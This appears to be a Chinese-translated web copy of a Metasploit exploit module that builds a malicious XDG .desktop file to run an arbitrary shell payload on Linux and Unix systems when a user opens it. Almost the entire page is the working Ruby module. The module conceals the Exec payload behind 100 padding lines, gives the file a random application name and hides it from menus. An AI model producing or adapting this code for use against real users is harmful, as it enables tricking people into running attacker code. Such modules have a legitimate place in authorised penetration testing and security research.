恶意XDG桌面文件漏洞分析

本文详细分析了一个通过恶意XDG桌面文件实现远程代码执行的漏洞利用技术,包含Metasploit模块实现原理、攻击向量和防护措施,适用于Linux/Unix系统安全研究。

恶意XDG桌面文件

2025.08.05 信用:Brendan coles

风险:中等 本地:否 远程:是 CVE:N/A CWE:N/A

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
##
# 此模块需要 Metasploit: https://metasploit.com/download
# 当前源码: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => '恶意XDG桌面文件',
        'Description' => %q{
          此模块创建一个恶意的XDG桌面(.desktop)文件。

          在大多数现代系统上,桌面文件默认不受信任。
          用户运行文件时会收到警告提示,但仍可能选择运行该文件。

          某些桌面环境中的默认文件管理器应用程序可能会施加更严格的执行要求,
          在文件执行前提示用户将文件设置为可执行和/或将文件标记为受信任。
        },
        'Author' => [
          'bcoles'
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['ATT&CK', Mitre::Attack::Technique::T1204_002_MALICIOUS_FILE],
          ['URL', 'https://specifications.freedesktop.org/desktop-entry-spec/latest/'],
          ['URL', 'https://specifications.freedesktop.org/desktop-entry-spec/latest/exec-variables.html'],
          ['URL', 'https://wiki.archlinux.org/title/Desktop_entries']
        ],
        'Platform' => %w[linux unix solaris freebsd],
        'Arch' => [ARCH_CMD],
        'Targets' => [
          [ '自动', {} ]
        ],
        'DefaultTarget' => 0,
        'Privileged' => false,
        'DisclosureDate' => '2007-02-06',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [SCREEN_EFFECTS]
        }
      )
    )

    register_options([
      OptString.new('FILENAME', [true, '桌面文件名', 'msf.desktop']),
      OptString.new('APPLICATION_NAME', [false, '应用程序名称。某些文件管理器将显示此名称而不是文件名。(默认随机)', '']),
    ])

    register_advanced_options([
      OptInt.new('PrependNewLines', [false, '在有效负载前添加空行', 100]),
    ])
  end

  def application_name
    datastore['APPLICATION_NAME'].blank? ? rand_text_alpha(6..12) : datastore['APPLICATION_NAME']
  end

  def exploit
    values = [
      'Type=Application',
      "Name=#{application_name}",
      # 'Hidden=true', # 此属性不受旧系统支持,会阻止执行
      'NoDisplay=true',
      'Terminal=false'
    ]
    desktop = "[Desktop Entry]\n"
    desktop << values.shuffle.join("\n")
    desktop << "\n"
    desktop << "\n" * datastore['PrependNewLines']

    escaped_payload = payload.encoded.gsub('\\', '\\\\\\').gsub('"', '\\"')
    desktop << "Exec=/bin/sh -c \"#{escaped_payload}\""

    file_create(desktop)
  end
end
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计